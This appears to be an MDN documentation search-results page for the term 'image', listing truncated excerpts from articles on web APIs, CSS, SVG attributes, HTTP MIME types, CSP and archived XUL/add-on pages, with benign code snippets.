... (see the devedge article "images, tables, and mysterious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child and have no border, padding, or margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their background) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in terms of layout and other behaviors.
...And 2 more matches
Examples
make user defined promise return after multiple images finish loading (promise.all and promise.defer) this example shows how to use promise.all to wait to create multiple promises with promise.defer() and return at the end of it.
...urce://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { var mysubpromises = []; var imagepaths = ['http://www.mozilla.org/media/img/firefox/favicon.png', 'https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png']; [].foreach.call(imagepaths, function(path) { let myimage = new image(); let loadthisimagepromise = promise.defer(); mysubpromises.push(loadthisimagepromise.promise); myimage.onload = function() { loadthisimagepromise.resolve('su...
...ccesfully loaded image at path = "' + path + '" the width of this image is = "' + this.naturalwidth + '".'); if (!this.naturalwidth) { loadthisimagepromise.reject('image loaded but it has 0 width at path = "' + path + '" the naturalwidth was 0'); } } myimage.onerror = function(e) { loadthisimagepromise.reject('an error occured while loading path = "' + path + '".
...And 2 more matches
WebRequest.jsm
the following types are supported: "main_frame" "sub_frame" "stylesheet" "script" "image" "object" "xmlhttprequest" http headers https headers are represented as objects with two properties, name and value: name type description name string header name, for example "content-type" value string header value, for example "image/png" chrome incompatibilities although this api is modeled on chrome's webreq...
...dules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("https:/developer.mozilla.org/*"); webrequest.onbeforerequest.addlistener(logurl, {urls: pattern}); function logurl(e) { console.log("loading: " + e.url); } this listener will be invoked for requests matching any of the three patterns, where the resource type is "stylesheet" or "image": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern(["https://mozorg.cdn.mozilla.net/*", "https://mdn.mozillademos.org/*", "https://developer.cdn.mozilla.net/*"]); webrequest.onbeforerequest.addlistener(listener, { ...
... urls: pattern, types: ["image", "stylesheet"] }); function listener(e) { console.log("matched: " + e.url); } canceling this example cancels requests to load content from "http://example.org/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpattern.jsm"); let pattern = new matchpattern("http://example.org/*"); webrequest.onbeforerequest.addlistener(cancelrequest, {urls: pattern}, ["blocking"]); function cancelrequest(e) { console.log("canceling: " + e.url); return {cancel: true}; } this code cancels requests for images that are...
...And 2 more matches
Creating localizable web content
images check that images are not going to be a problem for the audience (cultural references, positionning, mirroring for rtl, text in images...) and spot what sizes/margins can be tweaked by css or have to be fixed for all locales but english don't use text in icons images 1&2.
... bad: image 3.
... good: image 4.
...And 2 more matches
Using the Places favicon service
getting favicon images you can use favicons in the browser ui using special annotation uris.
... nsifaviconservice.getfaviconimageforpage() returns an annotation uri for the favicon for a given page, and nsifaviconservice.getfaviconlinkforicon() returns an annotation uri for the given favicon.
...you should always use nsifaviconservice.getfaviconimageforpage() to get the favicon for a page.
...And 2 more matches
imgIContainerObserver
image/public/imgicontainerobserver.idlscriptable an interface to implement to listen to activities on an imgicontainer object.
... methods native code only!framechanged called when the frame for an image container has changed.
... void framechanged( in imgirequest arequest, in imgicontainer acontainer, [const] in nsintrect adirtyrect ); parameters arequest the image request for which the change occurred.
...And 2 more matches
nsITransferable
kpngimagemime image/png png image.
... kjpegimagemime image/jpeg jpeg image.
... kjpgimagemime image/jpg jpeg image.
...And 2 more matches
nsITreeBoxObject
col, out acstring childelt); void getcoordsforcellitem(in long row, in nsitreecolumn col, in acstring element, out long x, out long y, out long width, out long height); boolean iscellcropped(in long row, in nsitreecolumn col); void rowcountchanged(in long index, in long count); void beginupdatebatch(); void endupdatebatch(); void clearstyleandimagecaches(); attributes attribute type description columns nsitreecolumns readonly: obtain the columns.
... childelt the pseudoelement hit: this can have values of "cell", "twisty", "image", and "text".
...this can have values of "cell", "twisty", "image", and "text".
...And 2 more matches
CanvasRenderingContext2D.createPattern() - Web APIs
the canvasrenderingcontext2d.createpattern() method of the canvas 2d api creates a pattern using the specified image and repetition.
... syntax canvaspattern ctx.createpattern(image, repetition); parameters image a canvasimagesource to be used as the pattern's image.
... it can be any of the following: htmlimageelement (<img>) svgimageelement (<image>) htmlvideoelement (<video>, by using the capture of the video) htmlcanvaselement (<canvas>) imagebitmap offscreencanvas repetition a domstring indicating how to repeat the pattern's image.
...And 2 more matches
Clipboard.read() - Web APIs
WebAPIClipboardread
unlike readtext(), the read() method can return arbitrary data, such as images.
...if it's not a png image, an error message is presented.
... otherwise, an image element referred to using the variable imgelem has its source replaced with the clipboard's contents.
...And 2 more matches
HTMLCanvasElement - Web APIs
htmlcanvaselement.todataurl() returns a data-url containing a representation of the image in the format specified by the type parameter (defaults to png).
... the returned image is in a resolution of 96dpi.
... htmlcanvaselement.toblob() creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.
...And 2 more matches
The HTML DOM API - Web APIs
interacting with the contents of 2d images and the context of an html <canvas>, for example to draw on top of them.
... access to lists of elements in the document's <head> block and body, as well as lists of the images, links, scripts, etc.
... htmlaudioelement htmlbrelement htmlbaseelement htmlbodyelement htmlbuttonelement htmlcanvaselement htmldlistelement htmldataelement htmldatalistelement htmldetailselement htmldialogelement htmldirectoryelement htmldivelement htmlelement htmlembedelement htmlfieldsetelement htmlformelement htmlhrelement htmlheadelement htmlheadingelement htmlhtmlelement htmliframeelement htmlimageelement htmlinputelement htmllielement htmllabelelement htmllegendelement htmllinkelement htmlmapelement htmlmediaelement htmlmenuelement htmlmetaelement htmlmeterelement htmlmodelement htmlolistelement htmlobjectelement htmloptgroupelement htmloptionelement htmloutputelement htmlparagraphelement htmlparamelement htmlpictureelement htmlpreelement htmlprogresselement htmlquote...
...And 2 more matches
HTML Drag and Drop API - Web APIs
define the drag image by default, the browser supplies an image that appears beside the pointer during a drag operation.
... however, an application may define a custom image with the setdragimage() method, as shown in the following example.
... function dragstart_handler(ev) { // create an image and then use it for the drag image.
...And 2 more matches
MediaSettingsRange - Web APIs
the mediasettingsrange interface of the the mediastream image capture api provides the possible range and value size of photocapabilities.imageheight and photocapabilities.imagewidth.
... a photocapabilities object can be retrieved by calling imagecapture.photocapabilities().
... example the following example, extracted from chrome's image capture / photo resolution sample, uses the results from getphotocapabilities().imagewidth to modify the size of an input range.
...And 2 more matches
ServiceWorkerRegistration.showNotification() - Web APIs
badge: a usvstring containing the url of an image to represent the notification when there is not enough space to display the notification itself such as for example, the android notification bar.
... on android devices, the badge should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.
... dir : the direction of the notification; it can be auto, ltr or rtl icon: a usvstring containing the url of an image to be used as an icon by the notification.
...And 2 more matches
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.teximage3d() specifies a three-dimensional texture image.
... webgl2renderingcontext.texsubimage3d() specifies a sub-rectangle of the current 3d texture.
... webgl2renderingcontext.copytexsubimage3d() copies pixels from the current webglframebuffer into an existing 3d texture sub-image.
...And 2 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
the xr hardware then handles ensuring that each eye only sees the portion of that image that is intended for that eye.
...an object containing references to eard loadtexture() loads the image at a given url and creates a webgl texture from it.
... if the image's dimensions aren't both powers of two (see the ispowerof2() function), mipmapping is disabled and wrapping is clamped to the edges.
...And 2 more matches
Using the Web Storage API - Web APIs
the landing page provides controls that can be used to customize the color, font, and decorative image: when you choose different options, the page is instantly updated; in addition, your choices are stored in localstorage, so that when you leave the page and load it again, later on, your choices are remembered.
...for example: function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } here, the first three lines grab the values from l...
...finally, we update the styles/decorative image on the page, so your customization options come up again on reload.
...And 2 more matches
Window - Web APIs
WebAPIWindow
image used for creating an htmlimageelement.
... windoworworkerglobalscope.createimagebitmap() accepts a variety of different image sources, and returns a promise which resolves to an imagebitmap.
...for example, if a script has an execution error or an image can't be found or is invalid.
...And 2 more matches
Accessibility documentation index - Accessibility
a figure is generally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text.
... 67 aria: img role aria, aria img, aria role, accessibility, reference, rôle, figure the aria img role can be used to identify multiple elements inside page content that should be considered as a single image.
... these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.
...And 2 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
"safer" animation means images with less contrast, not more.
... because we do not perceive the color "blue" as well as other colors, for example, some algorithms for compressing image sizes remove the parts of the image with "blue" in them more heavily than other parts of an image.
... the concept of color saturation is a difficult one to understand when only looking at numbers and terminology, so consider looking at the image below to illustrate the concept of saturation in a color.
...And 2 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
styles in the css backgrounds and borders module allow filling backgrounds with color or an image (clipped or resized), or modifying them in other ways.
... these styles can also decorate borders with lines or images, and make them square or rounded.
... (additionally, element boxes can be decorated with a shadow.) reference css properties background background-attachment background-clip background-color background-image background-origin background-position background-position-x background-position-y background-repeat background-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-style border-top border-top-color border-to...
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
-contentalign-itemsalign-selfall<an-plus-b><angle><angle-percentage>animationanimation-delayanimation-directionanimation-durationanimation-fill-modeanimation-iteration-countanimation-nameanimation-play-stateanimation-timing-function@annotationannotation()attr()b::backdropbackdrop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-startborder-block-start-colorborder-block-start-styleborder-block-start-widthborder-block-styleborder-block-widthborder-bottombor...
...der-bottom-colorborder-bottom-left-radiusborder-bottom-right-radiusborder-bottom-styleborder-bottom-widthborder-collapseborder-colorborder-end-end-radiusborder-end-start-radiusborder-imageborder-image-outsetborder-image-repeatborder-image-sliceborder-image-sourceborder-image-widthborder-inlineborder-inline-colorborder-inline-endborder-inline-end-colorborder-inline-end-styleborder-inline-end-widthborder-inline-startborder-inline-start-colorborder-inline-start-styleborder-inline-start-widthborder-inline-styleborder-inline-widthborder-leftborder-left-colorborder-left-styleborder-left-widthborder-radiusborder-rightborder-right-colorborder-right-styleborder-right-widthborder-spacingborder-start-end-radiusborder-start-start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-...
...ce)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingli...
...And 2 more matches
<blend-mode> - CSS: Cascading Style Sheets
the effect is like two images printed on transparent film overlapping.
... the effect is like two images shone onto a projection screen.
...a foreground with the inverse color of the backdrop leads to a black final image.
...And 2 more matches
radial-gradient() - CSS: Cascading Style Sheets
the radial-gradient() css function creates an image consisting of a progressive transition between two or more colors that radiate from an origin.
...the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
...And 2 more matches
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
this value can be overridden by a formaction attribute on a <button>, <input type="submit">, or <input type="image"> element.
... this value can be overridden by formenctype attributes on <button>, <input type="submit">, or <input type="image"> elements.
... this value is overridden by formmethod attributes on <button>, <input type="submit">, or <input type="image"> elements.
...And 2 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
this attribute is also available on <input type="image"> and <button> elements.
... this attribute is also available on <input type="image"> and <button> elements.
... this attribute is also available on <input type="image"> and <button> elements.
...And 2 more matches
Common MIME types - HTTP
.abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openx...
...mlformats-officedocument.wordprocessingml.document .eot ms embedded opentype fonts application/vnd.ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive application/gzip .gif graphics interchange format (gif) image/gif .htm .html hypertext markup language (html) text/html .ico icon format image/vnd.microsoft.icon .ics icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.what...
...t document application/vnd.oasis.opendocument.spreadsheet .odt opendocument text document application/vnd.oasis.opendocument.text .oga ogg audio audio/ogg .ogv ogg video video/ogg .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf .png portable network graphics image/png .pdf adobe portable document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar rar archive appli...
...And 2 more matches
Content Security Policy (CSP) - HTTP
WebHTTPCSP
for example, a page that uploads and displays images could allow images from anywhere, but restrict a form action to a specific endpoint.
...there are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers.
...n origin (this excludes subdomains.) content-security-policy: default-src 'self' example 2 a web site administrator wants to allow content from a trusted domain and all its subdomains (it doesn't have to be the same domain that the csp is set on.) content-security-policy: default-src 'self' *.trusted.com example 3 a web site administrator wants to allow users of a web application to include images from any origin in their own content, but to restrict audio or video media to trusted providers, and all scripts only to a specific server that hosts trusted code.
...And 2 more matches
OpenSearch description format
<opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[ht...
... image uri of an icon for the search engine.
... when possible, include a 16×16 image of type image/x-icon (such as /favicon.ico) and a 64×64 image of type image/jpeg or image/png.
...And 2 more matches
Progressive web app structure - Progressive web apps (PWAs)
structure of our example application the js13kpwa website structure is quite simple: it consists of a single html file (index.html) with basic css styling (style.css), and a few images, scripts, and fonts.
...tf-8"> <title>js13kgames a-frame entries</title> <meta name="description" content="a list of a-frame entries submitted to the js13kgames 2017 competition, used as an example for the mdn articles about progressive web apps."> <meta name="author" content="end3r"> <meta name="theme-color" content="#b12a34"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kgames"></a></p> </header> <main>...
...the <body> is split into the <header> (containing linked image), <main> page (with title, description and place for a content), and <footer> (copy and links).
...And 2 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
also included are a few images, scripts, and fonts.
...tf-8"> <title>js13kgames a-frame entries</title> <meta name="description" content="a list of a-frame entries submitted to the js13kgames 2017 competition, used as an example for the mdn articles about progressive web apps."> <meta name="author" content="end3r"> <meta name="theme-color" content="#b12a34"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta property="og:image" content="icons/icon-512.png"> <link rel="shortcut icon" href="favicon.ico"> <link rel="stylesheet" href="style.css"> <link rel="manifest" href="js13kpwa.webmanifest"> <script src="data/games.js" defer></script> <script src="app.js" defer></script> </head> <body> <header> <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kgames"></a></p> </header> <main>...
...the <body> is split into the <header> (which displays an image) and the body of the app, which is found inside a <main> element.
...And 2 more matches
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
twenty five elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> ...
... value <length> | <percentage> default value 100% animatable yes feimage for <feimage>, height defines the vertical length for the rendering area of the primitive.
... image for <image>, height defines the vertical length for the image.
...And 2 more matches
width - SVG: Scalable Vector Graphics
WebSVGAttributewidth
twenty five elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <!-- with a width of 0 or less, nothing will be rendered --> <rect x="0" y="0" width="0" height="90"/> <rect x="0" y="100" width="60" height="90"/> <rect x="0" y="200" width="100%" height="90"/> </svg> ...
... value <length> | <percentage> default value 100% animatable yes feimage for <feimage>, width defines the horizontal length for the rendering area of the primitive.
... image for <image>, width defines the horizontal length for the image.
...And 2 more matches
x - SVG: Scalable Vector Graphics
WebSVGAttributex
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="6...
... value <length> | <percentage> default value 0% animatable yes feimage for <feimage>, x defines the minimum x coordinate for the rendering area of the primitive.
... animatable yes image for <image>, x defines the x coordinate of the uper left corner of the image.
...And 2 more matches
xChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" xchannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" sc...
...r> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
... g this keyword specifies that the green color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the x-axis.
...And 2 more matches
y - SVG: Scalable Vector Graphics
WebSVGAttributey
thirty seven elements are using this attribute: <altglyph>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="6...
... value <length> | <percentage> default value 0% animatable yes feimage for <feimage>, y defines the minimum y coordinate for the rendering area of the primitive.
... value <number> default value none animatable yes image for <image>, y defines the y coordinate of the uper left corner of the image.
...And 2 more matches
yChannelSelector - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedisplacementmap> html, body, svg { height: 100%; } <svg viewbox="0 0 440 160" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" scale="30" ychannelselector="r"/> </filter> <filter id="displacementfilter2"> <feimage xlink:href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0" y="0" width="100%" height="100%" result="abc"/> <fedisplacementmap in2="abc" in="sourcegraphic" sc...
...r> <text x="10" y="60" font-size="50" filter="url(#displacementfilter)">some displaced text</text> <text x="10" y="120" font-size="50" filter="url(#displacementfilter2)">some displaced text</text> </svg> usage notes value r | g | b | a default value a animatable yes r this keyword specifies that the red color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
... g this keyword specifies that the green color channel of the input image defined in in2 will be used to displace the pixels of the input image defined in in along the y-axis.
...And 2 more matches
Other content in SVG - SVG: Scalable Vector Graphics
« previousnext » apart from graphic primitives like rectangles and circles, svg offers a set of elements to embed other types of content in images as well.
... embedding raster images much like the img element in html svg has an image element to serve the same purpose.
... you can use it to embed arbitrary raster (and vector) images.
...And 2 more matches
SVG: Scalable Vector Graphics
WebSVG
as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascript, and smil.
... svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed.
... compared to classic bitmapped image formats such as jpeg or png, svg-format vector images can be rendered at any size without loss of quality and can be easily localized by updating the text within them, without the need of a graphical editor to do so.
...And 2 more matches
Mixed content - Web security
for example, an attacker could replace an image served over http with an inappropriate image or message to the user.
... the attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website.
... if the attacker observes http requests to certain images, they could determine which webpage the user is visiting.
...And 2 more matches
tabs - Archive of obsolete content
it has one of four possible values: "uninitialized": the tab's document is not yet loading "loading": the tab's document is still in the process of loading "interactive": the tab's document has loaded and is parsed, but resources such as images and stylesheets may still be loading "complete": the tab's document and all resources are fully loaded once a tab's readystate has entered "interactive", you can retrieve properties such as the document's url.
...at this point the document itself is fully loaded and parsed, but resources such as stylesheets and images may still be loading.
...at this point the document and its resources, such as images and stylesheets, have finished loading.
... this event can be used for pages that do not have a domcontentloaded event, like images.
Examples and demos from articles - Archive of obsolete content
[article] image preview before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a preview of an image before uploading it.
...for a full compatibility code, see also our crossbrowser possible solution for image preview.
....[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews.
... .[article] pure-css web gallery based on the :checked pseudoclass [zip] you can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gallery with full-size images shown only when mouse clicks on previews.
Adding menus and submenus - Archive of obsolete content
it's best to show an item with a throbber image (see chrome://global/skin/icons/loading_16.png) so the user knows there's something going on, and asynchronously fill its contents.
... menus with images to add an icon to a menu or menuitem, set its class to "menu-iconic" or "menuitem-iconic" respectively, and set the image attribute or the list-style-image css property.
... images in menu items may not appear, showing only a narrow segment of the image instead.
... this seems to happen when remote images are used.
Custom XUL Elements with XBL - Archive of obsolete content
as explained earlier, xul is really just boxes, text and images.
... <content> <xul:hbox> <xul:image class="xulshoolhello-person-image" xbl:inherits="src=image" /> <xul:vbox flex="1"> <xul:label xbl:inherits="value=name" /> <xul:description xbl:inherits="value=greeting" /> </xul:vbox> <xul:vbox> <xul:button label="&xulshoolhello.remove.label;" accesskey="&xulshoolhello.remove.accesskey;" oncommand="document.getbindingparent(this).remove(event);" /> ...
... </xul:vbox> </xul:hbox> </content> our element is very simple, displaying an image, a couple of text lines and a button.
...so, if you have this: <xshelloperson name="pete" greeting="good morning" image="" />, then those attribute values are "inherited" to the content nodes that have this special attribute.
Frequently Asked Questions - Archive of obsolete content
when servers send user agents an svg file they must tell the user agent that the file has the mime type "image/svg+xml", and if the svg file is stored gzipped they must tell the browser that too.
...for example, webpages that embed svg using the <object> or <embed> tags must have a 'type' attribute assigned with the correct svg mime type of "image/svg+xml".
... if the mime type specified is wrong (for example image/svg-xml) mozilla won't recognise it.
...the svg mime type is image/svg+xml (not image/svg-xml or anything else for that matter).
Creating XPI Installer Modules - Archive of obsolete content
the barley package the barley package is a simple xul window with a couple of buttons and an image element.
...the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif"...
...the javascript file barley.js contains a single function, bar(), defined as follows: function bar() { alert("aphids"); } if you want to use the same gif image that is used in the barley package, it can be grabbed from here.
...though mozilla will not display the file as a separate window (much less interpret it as a separate package), you ought to be able to see the image and the javascript function working as defined in barley.js (provided that both all three files are in the same working directory).
validate - Archive of obsolete content
« xul reference home validate type: one of the values below this attribute indicates whether to load the image from the cache or not.
... this would be useful if the images are stored remotely or you plan on swapping the image frequently.
... the following values are accepted, or leave out the attribute entirely for default handling: always the image is always checked to see whether it should be reloaded.
... never the image will be loaded from the cache if possible.
MenuButtons - Archive of obsolete content
an arrow appears on the button next to the label or image indicating to the user that a menu is present.
...in the example below a toolbarbutton with an image has a menu associated with it.
... <toolbarbutton type="menu" image="cookies.png"> <menupopup> <menuitem label="block cookies" type="checkbox"/> <menuitem label="clear cookies"/> </menupopup> </toolbarbutton> the 'menu-button' button the 'menu-button' type of button is used when you want to attach a menu to a button but want to have a default action carried out when the button is pressed by itself.
... this is accomplished by dividing the button into two parts, one with the label and image to carry out the default command and the second to show the menu.
listcell-iconic - Archive of obsolete content
« xul reference home listcell-iconic use this class to have an image appear on the listcell.
... specify the image using the image attribute.
... note that both an image and a label are added when this style is set.
...if it is desired to center the image, use css to hide the label.
Actions - Archive of obsolete content
here is the [example], and an image of what it looks like: the template builder iterates through the three results, processing the body of the action for each one in turn.
...in the image, you can see that the label for the first button does indeed have this value.
...?relateditem" label="?relateditem"/> </action> </template> <button id="http://www.xulplanet.com/rdf/b" label="http://www.xulplanet.com/rdf/b"/> <button id="http://www.xulplanet.com/rdf/c" label="http://www.xulplanet.com/rdf/c"/> <button id="http://www.xulplanet.com/rdf/d" label="http://www.xulplanet.com/rdf/d"/> </vbox> since the template tag is hidden, the effect will be like in the image, three buttons with the labels of the data in the datasource.
...here is an image of [this example] (note: see the next section for an explanation of why there are extra buttons here.) « previousnext » ...
RDF Modifications - Archive of obsolete content
for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://purl.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a new triple to the rdf datasource.
